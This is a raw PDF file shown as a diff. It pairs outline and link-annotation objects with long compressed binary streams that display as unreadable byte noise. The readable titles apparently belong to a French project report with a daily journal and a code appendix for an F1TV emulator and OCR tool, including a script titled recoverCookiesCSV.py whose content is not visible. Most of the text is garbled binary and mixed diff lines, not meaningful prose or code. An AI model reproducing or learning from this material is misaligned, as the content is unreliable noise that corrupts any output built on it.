l.9˟>`Iv^C')^s.XQz9=>!ʬ$Akx\|"'zfe5 bTD;VGɯIʄ'yh5+=iЀ`hgJ/ӸkSLQ5dI GڳW q7 +endstream endobj 1032 0 obj << -/Title (3.11 Mardi 25 Avril 2023) -/Dest [ 759 0 R /XYZ 37.466457 205.106022 0 ] -/Count 0 -/Prev 1031 0 R -/Parent 1021 0 R -/Next 1033 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1031 0 R +/Resources 4 0 R +/Annots [ 1033 0 R 1034 0 R 1035 0 R 1036 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 1033 0 obj << -/Title (3.12 26 Avril 2023) -/Dest [ 769 0 R /XYZ 37.466457 559.394022 0 ] -/Count 0 -/Prev 1032 0 R -/Parent 1021 0 R -/Next 1034 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 731.610822 39.386457 716.596422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/PerezFolder.png) +>> >> endobj 1034 0 obj << -/Title (3.13 Jeudi 27 Avril 2023) -/Dest [ 772 0 R /XYZ 37.466457 317.480782 0 ] -/Count 0 -/Prev 1033 0 R -/Parent 1021 0 R -/Next 1035 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 731.610822 494.636457 535.110822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/PerezFolder.png) +>> >> endobj 1035 0 obj << -/Title (3.14 Vendredi 28 Avril 2023) -/Dest [ 786 0 R /XYZ 37.466457 771.023622 0 ] -/Count 0 -/Prev 1034 0 R -/Parent 1021 0 R -/Next 1036 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 535.110822 297.637795 520.096422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/PerezFolder.png) +>> >> endobj 1036 0 obj << -/Title (3.15 Lundi 1 Mai 2023) -/Dest [ 786 0 R /XYZ 37.466457 137.264682 0 ] -/Count 0 -/Prev 1035 0 R -/Parent 1021 0 R -/Next 1037 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 116.890122 39.386457 101.875722 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration6.png) +>> >> endobj 1037 0 obj << -/Title (3.16 Mardi 2 Mai 2023) -/Dest [ 790 0 R /XYZ 37.466457 186.104214 0 ] -/Count 0 -/Prev 1036 0 R -/Parent 1021 0 R -/Next 1038 0 R +/Filter /FlateDecode +/Length 1071 >> +stream +xWK7 WhrH{YE =OClRJwݠ#A~$?Q4=?`T)xI>uO~ +b41MDe:S0}8}>!91LX$0Sy~<N )ZU˒R*+q]jX]!Dh)& ^vJ2^Uъl%k~>3K^E.1E=I)hmqy9AЎ`G:(p*Φ!_C_r;3:O_xQ9e JEt|^38`C:e64 ?z$ޥXn tc\[_Z?WZYZ`S +endstream endobj 1038 0 obj << -/Title (3.17 Recrutement Payerne Mai 2023) -/Dest [ 812 0 R /XYZ 37.466457 653.968422 0 ] -/Count 0 -/Prev 1037 0 R -/Parent 1021 0 R -/Next 1039 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1037 0 R +/Resources 4 0 R +/Annots [ 1039 0 R 1040 0 R 1041 0 R 1042 0 R 1043 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 1039 0 obj << -/Title (3.18 Vendredi 5 Mai 2023) -/Dest [ 812 0 R /XYZ 37.466457 571.919322 0 ] -/Count 0 -/Prev 1038 0 R -/Parent 1021 0 R -/Next 1040 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 571.465770 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration6.png) +>> >> endobj 1040 0 obj << -/Title (3.19 Lundi 8 Mai 2023) -/Dest [ 817 0 R /XYZ 37.466457 686.526822 0 ] -/Count 0 -/Prev 1039 0 R -/Parent 1021 0 R -/Next 1041 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 571.465770 297.637795 556.451370 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration6.png) +>> >> endobj 1041 0 obj << -/Title (3.20 Mardi 9 Mai 2023) -/Dest [ 851 0 R /XYZ 37.466457 226.356188 0 ] -/Count 0 -/Prev 1040 0 R -/Parent 1021 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 395.046570 39.386457 380.032170 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration7.png) +>> >> endobj 1042 0 obj << -/Title (4. Code) -/Dest [ 873 0 R /XYZ 37.466457 759.623622 0 ] -/Count 18 -/Prev 1021 0 R -/First 1043 0 R -/Last 1060 0 R -/Parent 1061 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 395.046570 555.889134 196.500785 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration7.png) +>> >> endobj 1043 0 obj << -/Title (4.1 ConfigurationTool.cs) -/Dest [ 873 0 R /XYZ 37.466457 718.588422 0 ] -/Count 0 -/Parent 1042 0 R -/Next 1044 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 196.500785 297.637795 181.486385 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration7.png) +>> >> endobj 1044 0 obj << -/Title (4.2 DriverGapToLeaderWindow.cs) -/Dest [ 879 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1043 0 R -/Parent 1042 0 R -/Next 1045 0 R +/Filter /FlateDecode +/Length 2307 >> +stream +xZK#Wg{$` iFFou?"EVZjF}lQw + V{|>|9HĿb#_ r0^贇c†B?xpRBኄRYxk-p'‘AχOG$YAJ:㋔;KcZؖo\bYw]>-k<_78k1nw|HǕy-l]\Eeʏ^Y`{LS-k$c뮗ٜ_e5Z,MF)+, 0sa xtiytL)hW*=6pnb _ 4/jEt $ gp53ߘ)b<)3SBpTwH{M2uƆ"no05y˭nx^P8ĐZ hG +Xj}# \1z(\ (!¬o7b'YhUVFD)CrG9Y)cD.UQPN#b:eb*& +ѥj0-4μqy(\Cyӹ Uy}#b-U 9$]֤x)̐Y9N#6+3YN#}}OoZüyV?o0y許o[ +]k*zET~UQFѠ*ʲ_"$qc_(!O)ƻuacdZ2)OV%Jz-9eb֭7UD+5ks8,եJƧffl },{z+7Q-?8{ +e>,ˁ+2Fț/7}9L|=|o&O*?t/mc-rFH[M>"v0z,f:p?RX!Py9ӟ҉m=p5H@ [ :80p^bL.*RGvAN`"RFoңkʜR*UI!3kV +^DcS0-#:1 0:yRUuK`s-, v(*(ѼZSD6U!XV[t8tV谪+1j`d!V0xgN0N +I1FR6z`d!*/R2-|84XyuN k(!N"ez!Rm2V< +X<t] d\Bʁ3G@eUq3-V*( ބiqt 8)i6|mAa8# ".ڹT0H+Lyo m2ڼߗҦ- M ?{7}I9 ,@Ge!C?^Da_UKyUUpU9׶<>-2&;87өZ CzŠw%+RwId&WqG0ɛL /1('@c9QEӅ?zԞ@? +endstream endobj 1045 0 obj << -/Title (4.3 DriverPositionWindow.cs) -/Dest [ 881 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1044 0 R -/Parent 1042 0 R -/Next 1046 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1044 0 R +/Resources 4 0 R +/Annots [ 1046 0 R 1047 0 R 1048 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 1046 0 obj << -/Title (4.4 F1TVEmulator.cs) -/Dest [ 883 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1045 0 R -/Parent 1042 0 R -/Next 1047 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 613.372422 39.386457 598.358022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration8.png) +>> >> endobj 1047 0 obj << -/Title (4.5 Program.cs) -/Dest [ 891 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1046 0 R -/Parent 1042 0 R -/Next 1048 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 613.372422 555.889134 409.010929 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration8.png) +>> >> endobj 1048 0 obj << -/Title (4.6 Window.cs) -/Dest [ 893 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1047 0 R -/Parent 1042 0 R -/Next 1049 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 409.010929 297.637795 393.996529 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/AutoCalibration8.png) +>> >> endobj 1049 0 obj << -/Title (4.7 DriverData.cs) -/Dest [ 901 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1048 0 R -/Parent 1042 0 R -/Next 1050 0 R +/Filter /FlateDecode +/Length 2478 >> +stream +x[n$}H`u@I yZ~ `$aV=KU:u? :s<9zCWQ` +1a^HiQka|?x>-PJxPJXxo9_{x&A萎.A}xbB/YEN֏_?#Dy*|)')Ҷ%$dmS}8cfg_K>eϜi,[s:62„m:P˓mUY/]8?33IqYe1uֵۭ@U^oÿnVfOnM'0.OX֓Aޖ@pS|!KW/r0K-kp3. [ܻXVZ8Wvw Ud/N̅LMc8ǰVnWf%KU~gɎoNA\XN4,^{GG=y[OAh`Ku< 7J:{`p#NEa*2E k2:\Di%Wg}ZedYG4ڂWJLq@\UjlJұw/;眰v:H `emT5 1Xnyk]x8Ȇmijj^ Ô)T2b/O_W0bbGi%iMlMn;ՓSX,YȌ͛ @~Nk}anXEʵ0AR9Vܮ;)Uąr66y~<_-7 #õ)g]OO-/;%Z-jdi!ւOmZv&P:VŬXag (DCk 8y(_R"aqQ'x[\RQY(wF. 9F:gb(HY.Ԇlx;GC3Ν"xHkX Y=2X\k`>)r-yWp]yľ˨Qԥ6VfإIR[N΀iZU#Bjy"7)zԵl8ke@ Ma ൣ +F, b)MB>u]f2'Lº͛ +[ȑikv`Y+7 gz- ,j$ѹ(SΕ(#]WUeMnU>ɋ"S ZתcVr@_ Rbel{a^qDWvCt->8']]^fbTDG?5TUY*_ 魆`U*KL`D0y"aQtF%wta,ۨYؔrD= x6FNEK!J6~ejx1OX{\3+NR3yo! O aP jA{hals_a'U"xMIH4'h?]Gl{(X(Zz a؁> endobj 1051 0 obj << -/Title (4.9 DriverSectorWindow.cs) -/Dest [ 907 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1050 0 R -/Parent 1042 0 R -/Next 1052 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 140.648730 39.386457 125.634330 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VerstappenFolder.png) +>> >> endobj 1052 0 obj << -/Title (4.10 Form1.cs) -/Dest [ 909 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1051 0 R -/Parent 1042 0 R -/Next 1053 0 R +/Filter /FlateDecode +/Length 1017 >> +stream +xWK8W!b9F =x2 *ʮgW@G8r=\6_sI˗i* &{i?irIlslrmL:wNaw8N9X)103^>O/Qz}Zfj\F0Cf39jk}o"ݖl^Z?,1okPKK-˯ͣ VDv)| ߼}l1 Zp^D T\zSѤWNgx!$1 Jƻ 7 -M6B9@&> endobj 1054 0 obj << -/Title (4.12 Zone.cs) -/Dest [ 917 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1053 0 R -/Parent 1042 0 R -/Next 1055 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 494.636457 277.523622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VerstappenFolder.png) +>> >> endobj 1055 0 obj << -/Title (4.13 DriverDrsWindow.cs) -/Dest [ 923 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1054 0 R -/Parent 1042 0 R -/Next 1056 0 R +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 277.523622 297.637795 262.509222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VerstappenFolder.png) +>> >> endobj 1056 0 obj << -/Title (4.14 DriverNameWindow.cs) -/Dest [ 927 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1055 0 R -/Parent 1042 0 R -/Next 1057 0 R +/Filter /FlateDecode +/Length 2587 >> +stream +x]Mo#WbE!@$9$p> ۳L [Mɖuڐ%SlV=c"[;?ɓI)Go;kb38gzhb.>{S!lvwWM6'rʒBAϻn=TmB+fG3 FX|v?_Ta:U{kC :j\gjCP_:[m{NI^j>)g[o>']USd#S/Nmȅ6䬏']>gI Z89Xx2q_; wMGĦcm Mlv^ AtYI񆓤EI-jc3sfAI ;g|Q|m6Qs 5 >%@ +$JL0QqDYU'ؽ2qAW/)d#.jN₰d qAuL=uܽR4I$ڈ$Cf@&t@amZz`f%9Q8H؜0A,U4D Val!d":Kf_ \vV卖dNR7lC̓g`Ɉ% mZ`9O=7]3̼%r +ec׌_b63 X^6KλbgvkPIiA&& a,.eMl{ 1kW`g3W/|Njvl)HٶBUaX[- +aP)g|t Lte蘌qDGItF>D_ efe86k9aɩ^]I9fzp$Æt Ʋg$*k#@'N݌L]rl͉bcl{Xɖ]|+}dPuFU ge WՕ2F{P0f#< +kKBEtp (đi(sX/@aiRJ#WF8F܁ R17?^!24i]YuΡL%QiCH(﯀BI@(lQ+E^v^ r 3: BI@(-i +a)ux~D!L@،}i +ԕ:害/E8uqL$Du" AH͙ +M̠ˍ( 2cmJ$ K17vB! +qj yCBjS68U!v +qGIx֦T0:h_\82UeK`3 +(rw ث$y iBleƺ:Qh&ѠǵC<ym98C)mX>x|'fNU|YX_Lwe9GuK!Axѓ}p7,7SŎD|3vsWPaY㶘R12r)P(PWOa-7{JS)_wtfV={/1AEQ> endobj 1058 0 obj << -/Title (4.16 OcrImage.cs) -/Dest [ 933 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1057 0 R -/Parent 1042 0 R -/Next 1059 0 R +/Filter /FlateDecode +/Length 2544 >> +stream +x\[#~BJ  dfw! g/aɃz_fZjU}v -KWU5=d茊1;j+3&)iLTh 4ϻ@C {cUhg}~Qzvg"4@h>`R }0aay ~?}x +b0|ʇ" +BQq&׃.ۛ_˰V&s^:ˣAFGm?dlIkK\󓌉4ѫ;?~^J4==4S׽\+UNþ([&Gu.8329`Qe奌{8kn„H gcbU(XUNM& +͕ +Pa¹jQ6V~Gqa̺!K+^es,ڭ1Av +lhmSKtUy 9u&L"Y& p2>%PraVςewmru!u|p(Y?&\b%;t~?5FַDh.\h<ģ~`ϕ`^2Df^n81y_̅+1#PyƭuCQ6n| y}h'=I*nߏJm1 >;Nm/IY~, %|Η~_ٛprj4H |8K>cqmv3~bݤ4㧸Yƥ5dY+V%h߼^M56HjuMl^u:.R sylwIc4,r4X߰1|eY3 B5r) ԽМqomղQ\Vc(EJ#$Xm`_{>oUN4՘%{,/,E#}4k n}G NZe됭[b:a~ {%Qy2Nx !aH1Zaҵ~Q>zq3Z +zr&F,uaBERň Lt +#'udB>:ܡ~A&d~ vC' [Fc$'ŦFdQf(^h<Zӥljݖu'm h2b^J(}UAȺ4}(!_^orʙfn|C8u[2H oկ 6"/ \o$4+n+bB^)({G'SV?^ňot)uNk.i|a^,dMaV)9(留sޣm! y87`PVM6xN[d_~'m\R礅w_]-]o+[-E‡st7SS)* -V/o`= >M*l42[nzE`mFK{.~|C-E!c4e9 TgP5>1`, b' Ʊ{9< %6 سX*mXS\ +endstream endobj 1059 0 obj << -/Title (4.17 Settings.cs) -/Dest [ 945 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1058 0 R -/Parent 1042 0 R -/Next 1060 0 R +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1058 0 R +/Resources 4 0 R +/Annots [ 1060 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 1060 0 obj << -/Title (4.18 recoverCookiesCSV.py) -/Dest [ 955 0 R /XYZ 37.466457 751.643622 0 ] -/Count 0 -/Prev 1059 0 R -/Parent 1042 0 R +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 129.285426 39.386457 114.271026 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/JsonDecodeResult.png) +>> >> endobj 1061 0 obj << -/Count 105 -/First 956 0 R -/Last 1042 0 R +/Filter /FlateDecode +/Length 1600 >> +stream +xYˮ6+ehH p((-?!ǐ_[9338 E +^iDwNjq.x|XB) 4F #ߗ8#λE)`=jO.߮JÿA)zhpBWѦjH^i)lhԷ\$ Ln +,<“̗#{FPM£4(`y% 󏿽]T4SG7üe"0R"hHh5$ƨ(FPӇn8foe - +s Mx + M$^GIv$*u͐t? ,/DZORILo8tV^=ڒ0eLԝe;?]vchҸO9[K+F7cowu"0 &~3@ʜ lVrc_NT}c 0 TǮC<1VX14F\AnΗRhM9HE@cH(Χ Y4*%[#`zst CE@,@3OXlL׾Ojt$sJBI 9Y%}! ck5C`/ X{2 }Nyb309ѣ/ BYNi[π4 B g4YWcHVHa.20%611%6 LUd]R!t3컽]>OwI$])[Xb-Ğ!ҥ!/g%3:fNL4b$xєJv)Wi*n,KkN+8NRj KE!ӆMM!6nsjO9vmUHp]7{ϧ3ZhmOQD,Zv>4Ӧޱ(g食O/lJyHZmͶ̈gp|ג#=122D-; πL?.է]F?J9` 4gT%1_8^Ӫ%}s@Z +igV^!\>Gf=I6UjTuUwY$0 +yЂf fi+p.cLMSEk;F:欲mG)m3t\U-{tn ))|+RU9@Dq5Xy^ ˦6I)2Z@!y?-؃ʄRհszvI{]ԶRYDtRKPݜZKKc‚Q֜aҫXea)g1Rj _VwO/ e") EzJ +_:"qrd*˯a ( >oD4J@_ ח(9< 9ƽ8UBlq +Q> -stream -x9 XU{3\p@/ k#\P D@3MqDM - CjIG%699PDb`8j_+{?}>kZk\ByD  ;HՄs䂍@O2=&U+$ IO%T-Sx!-'6u ùo$ y0=#p߷"L9;]vqzLV*y@pݓcǹ܅V65%=:ye??b_Hk¯C\u)z"#v:5;ޱyǯ: RG:') b1HBI=d*P_‡ G]0B -)M>'I%ڜ FI_zғ}#.ldWѨb={|z҉?D=(u8d@J'}F5ڼ#Źw/FggjHx TLAd8$D\}& 98O9(bu!=v҄gbWz^.q\n}xp- p7cEYKҗ'$KI*$YJx3i4PLƐDb^֋֐ jU wjA8jmW !V FZ'8 $X8)=01[V$VKR")OˁFSUvZ[bflgrД?m=536;˥BM8zby&S·RS{VKjrE:l}[X0;َ`Ak{Vn{cJugsKj -tuvv1 ._$lzǒEY&k`x#I[ۋs'[=hPz v#)Xfh5VE7O+*ȝJ1:"}LPxEKfo?AaUF%՜; DDJS fO٨uw5d(bdP3arrU?=H]>i_icR^N^3_Zίa8~ZbO9MW,zzx K %ʪr-Sr٥gY (9gZ+I39:2ө>ɷ$kO>,ƣ@ED5zbNسy3RkN_/ q^Wٗk!RNDCp};ԺbT==||L#Qt(+>xʂ/qf{~C/ֱÁ]YQynt܊ Q3w*',~ۇ^35#?sf)2 =wm`Z W%Vey&\à"Ǭܴjw܈j a+aWಣ[//jMR 9${ݾbnEurٹ>0? MyeWF:AωC^@w+K]I%_~mqoC*/q95Vc -j*|N,6N*6W -GۊY]By ?Z+Qԉ;!2jҔ.>@bV$;}/5Ѱ4kFضekI{I ASB߭kd\0ҵz-` mcY9Ƴ#Y - -,tS[G#IRj솊G:ꈫ[9 u9G蹎wOp'mةlַ,-aO?B V4\jæWE$$Vp/'!=.>[z(G'/ٖ~\1gh&S Ԙ03uуuҒg5V}{ ] =) FFu[|!swŒo_M\C."sL?tS%ʈ݁U ȪĠ7VB??2W}~41j*ACz;}Wtَ_r)YYVG$[y(Rhο%\`@ X%Cc,^--)|UP2,I2魆eA)P魏 -٬?$F-8mv\nb P͚$n=Rɪ.3/9F]SiJg3A.(J`aIvSY_zW"?w]ص!E iz`8|e2̣1Yq[ fgݝn>pd3.%Y6vHh;>/uձuԱ;cN2/糉jxeOwJwܿq츼a4+W/~xhx94ϨWK^Ir9;JM'ݶR*V#j֩W7翗jn.%BgjgYV"6L^k٫0o?+;x(P@{|8DqL`.EDMLXfᬃdyOuo4[%V[]I}x; 5V p-ɀ;(ҕp|iUIG_DMߔmcH1>(4X - >KI2·PT$#_z\wҕtNq6o$L!q!|o\3ie=13` q{#t..ȁ~j(6:fv(귅6v'97BM#;G0%$_) [V;oZ -endstream endobj 1063 0 obj << -/Length1 32088 -/Filter /FlateDecode -/Length 8366 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 475.886457 585.773622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/JsonDecodeResult.png) +>> >> -stream -x} XTDzpwsfakԨ1Ơ(TPQč(= I1 11ƛ/œ9zo}^{tYsR]U]]]}3 j#>aLɇ^:lxݪ~4a;MAz=g4@{~!A5?!B4=(f6RxW>3.A5B΄O -mPw; -BzSxR\ 73*$hE$2-WPs99 BeAY쨘9 Kdzd%ŧF/ x﨣 +G*]o,Owmt5pkd #i{(5lXj,#Vr1zIezX|Z$餍@*\AaT#<Тah r'*'ꄳՑ*WXx5`ga*W@9Ly  !74'~%8p`*`r]m/bt(K6҆:Ur ˋ>hlb$ٶ"©O{LD=$6'O1[^%u0Ǔel.,Ϳ5Oޚɚɚw%N{[Gדľ扼P?4MEAJrOS}PCCCpPSuTu'5(wm8y(zT}W ~dߩ -800p(w*xBDrs{^ -n[ -VUhWϙ >V^c [ -jj?҄R/ńPt%_-4ze~¶U< -O2|PN> [c_?.B[Q:JztCUvAOm: y`6;lmv`b[l[³ŸsZlmqEs^ύnsmvGZ:ҿO| {} -Z>(líN[~_U#`[ -V -Vñk+X -xlbb`e?>>~}e ִt ,`+X -AB30!!DsCq.!^޺N*ΎnCG;ZdhBxc{#m37U m/_ %re"ChY*v&n:MÑލ@ /L/{mh]a<2!R_HA8ei0aƹI(JUz9#t0JZ[߫e,{8ZB"vNI漒R,䬶9GKssH2wl_vc]kwNZZZYYzxee*\Esq́L*c#$i*'n:V.$߲-˦'#q"2@ѭ4.2{AcO%#;99am-=lK</1GR/n^-\=`IR{:z8J^><4'-SZ8ƍSO/:2&sϫ hRЫiDوMv|1OH^DB^e5,b瞧zJ?MƚO.dh5_!I Ӟ#LE$fԜl}6E4ي6 &99'y+BvpDV7awV͎mh25g/޼|&1{T% u4?Y_|îtaȻFVn {g/P<{މKulS.~voȃGU`Pq=:'lk+*j?Yy}o07%++%5+BWUU_^pn7ŋR9^p´U&9XdlȞiv^mnyoؐ!l~}S54n:N=EwPP6e -ׅ8j 1{;zLoѣ}{ᾢ1RJ6C9ZQFm3ʀJ*< -QBN^mRXT̓c-cDl%w.Ǥ[P%Tvo Pk1y1 '| >^ mP.oQ[s7wæ];?0,LI]P #Ksڜ\8iAOwLlBHi5uA#<2;F{^/ѣ_ -^РٸCwDw~0-nddZKm,ו.xq`I:~H4]̆u&bݔRf+cGF"FD#$*ER_%(cXw ma ze3QK]aҤywHt'W_ˤ?N򍈨;ϫ -.@%4"[By?!/"vmr_DdY[6ӈ -]|#5ut7 !uy30nR#L\\FQE -ыOLEԛtP*M4F8rHX+3-t8nf#U{\n ɉU*auu?{3rv1ëgAf,~¯7^z{#2mw n?;8ѭӛQ!HY.|0OٖȬ ͺMZJOA?&fm3Ѫ'~qYh15ȼ=htphQ;Q5 *RpP[!ج{&T>|?ŭ[;; -6SlV<|ZC4f|~H^V@+mwa\M__y<"}6HU9bD'؈vuggsd -P`cVS-Fc/!9\ǓGW"+Y\%bg"%h~N;ZEZa3Ij72vFeptHPl.VN%~jED#T("#܍5{$Fk(,BU(M1ke8 7|y :7s1ϩRĤ~y_IYU7G%WQÏm;42nih]+ٸ}`b*eQv:ةtޞpLvo\2 4ȑ\]--0差^q8_` "|KEw`Ѽpgg"iI6k?AjW胕ު{uvu8ш"x\{؃Ê3WgdSWBIWCݸvVy~'j~u5D-}qmO۸`*#e{lT.Zd1^ʾceG A~7DOs֙_Bt~pWz\XTTt!K.H01Kj¸bpug6Σ/sLSYI/53NL -tX`ˆ&peVpǝ;_<|fU -"JEs'LXdm'ML̈́": q97'jU% l7$PT#cv/ܣǐwС/< hC}~NtvJ!/ݜ="LlK#K*'', ;&nj!z(?̢2 -fWadO+@)#B,4hPJ -<[O0xSSmJQJ۱cӖO ظ45cJB bJylXZ}~>NpW_~ؚL3~7#-jGݙø^R4qX:97e<>b0Yap4"ɣXYOe-YLc'ٺ-D/QCT!;ǸEܞh\م_/Uh!{J"A_'!8CDs爅+A6^2!LzvY1 s\btۜKBF$,GK#qp}ޘFT\}g9=$\b8yPz ->2ɷ&o;̠*K׉KӘf_g}feOƓl!L##bgx^fCt N:OhiLOozpYtx~g|h_h~ig93Zf4z3'fڤ'QLGhʷC^9|3Oq;3QʇZ$-]ة'[Ÿ1l -zέRgXGNZßZL/~ȸ&Nм;c^{s5YX9sfd$}EXtj@T[IWO?ſKJ{Y^#:x0 DX= zegYRV6VA~IJZZ54*ƫ߶ƪh - i,at5ev$^FCpvI/w}wpg4K&e߲O&L٫[.plC/YH)gC^T.%rB - EaRb*,m|0D4tJI -/H$o$j^>:rǛdoDSiPnky_ J$%I|7ަZ^bDjiOS}"aMY+uFK:8(PCC,"`c9N!pOsΟ HVR =+WR2,dLv|wU֖┷Mi!J%6<80=!"V/Cզ3wc S&w),{Qx>Z8wnlƩz{GGǜ+)ȣɋd]aE^]&7lcԩ-)hG1PLz(|ԩwDDa>,$'z{`FKMƼ<ƈ#qq/h㌻4/`{0b/:-<Qv:oy31f.ȕԁ=SxH213@$zFJzVkr:cO>I?5 iԃt6{N?Z%7y3 Ҁ|F/{ur *ߕ&햜^>p׺UZajIT\ vӆwձ3r&n;`e<{u[ZE۴Y~0fVɴ.kL:DCA".žw般,h[sV`{Q QekŠrVT".Cf%CK䇶YϻPcMˋq $ -h5v,l2׮03r.tcqy[jQx 3v`_?Z:H׍t뛅I!2H!iebTE:Ix֒b3vMxnMe3OРx>u26۟*025ڋ ^686܅~Z(o%/nYhΣ_OؘN>e܉ݽ=%{;}c(D02x^hb:FzDAᴽrMѕ˰0ETΤCO( ,þ J>pJh-G}9z`p,cuj7 Zś{=E̛&~ȾFٯ;;`y T xo`Q.Z%UpV{(4šw 49"8 B -r 6sP h -B;hrLW؝ʹb4N>s3Z(b2? -BmP[Bw*s6 3+qxݓt@ai@(z:Ӭ_S/ӯH@jXN32 ֒r]/jxߪ=@kٰ?z \wOWޕuBs 'v"J'f%|nh FD `tR`Z^R/)j= ~{3e!5h"`u\61|5Ͽ/td0?nr4OidaB}vsF7= ܅­(Cs0GA\[l{l:]n͢hYo|Ѯc~v mv ݀ICyw|o[ެl0Ԭg}}?՗_Q"@qEJ -endstream endobj 1064 0 obj << -/Length1 6672 -/Filter /FlateDecode -/Length 4359 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 585.773622 297.637795 570.759222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/JsonDecodeResult.png) +>> >> -stream -xYy\SǷ{oVj[ b%TVmjm -wPĺ VEąuZkH& y>ow̙3g3aP844p>Bw|4>qCQA1[0b rYI# -!Bf4Р(~aJmx=rcAug. } jCAu2;(*A=c+1q(4`(Wt+ kX:&f) l:F! I#ixzZ-O$OEJ]rrb?6GcO$9:J!]׵8n\  -ߓ P4>_( L7 OEwk|4C)%0(;,>(! -pgA҄PJ*h(g@qUH@(hUsQ9MO#_q\+'Do=_ F3M|?9"yW4lG1PrY[b}T6!(7)IAH}܏H%Ap HoLd(J;9d5ofՎxwd_`.{h<>YIł }h4}> gilo?Iv/d%z@(5"#Cp>/f"<Ēti|cɁp { B.o -`!RX%Hd䟒tuiO'Li٦< :j [8V$" -qX(<18;J\Uk{{4hpYH xRkңy/\T8lQ_hGk|ВHe6]k5764- - -a2`^12>MOՁYks@`7c@QOR4X!ra?7D -̳I-BW ʤwٯ™;(koeTqj i0gjn>\{,N#374GRM[Х mm!P*3NJ/:Vk9 )nLON/;sDUJ581DnBe8=G[?>9lx7oYzz.СA&aW+B໛#a P_785gFO嘴~:{8s*㐳-ٴ޼6%2NqzMT,+.^k~W6^=|c@ٜ -۶r#}$by=N!,*<2';d 鴝,pCD' >1-Ex؅-}Ug6-Y dv;&0Ȍq/{nW@RRX,_l\@s:d$5MÄxLi +_%j=0˕DJdN̘tg29ٛnˉNqDžDZ Gh{^#HE -U_ϣ҇6vJǗ - -<34a2Pxkᮙ?zŦI19h{ 77vxftg(;_5O6pKLOHaV"d2c"Q10dL'k1c[[T$Bv{_l[2|XvTx x ([b ytܐ3 ۳Ąk~:/"SB/Th -hӍh@ 0ƟޤVCws4ssw.0_Fo1[%dL4c29%U(iWL?D]bỲwsRч}0!SZlU+11 ֞wu-dz~+~OcͶBpKz>ΦfZ.[+b)5gpt 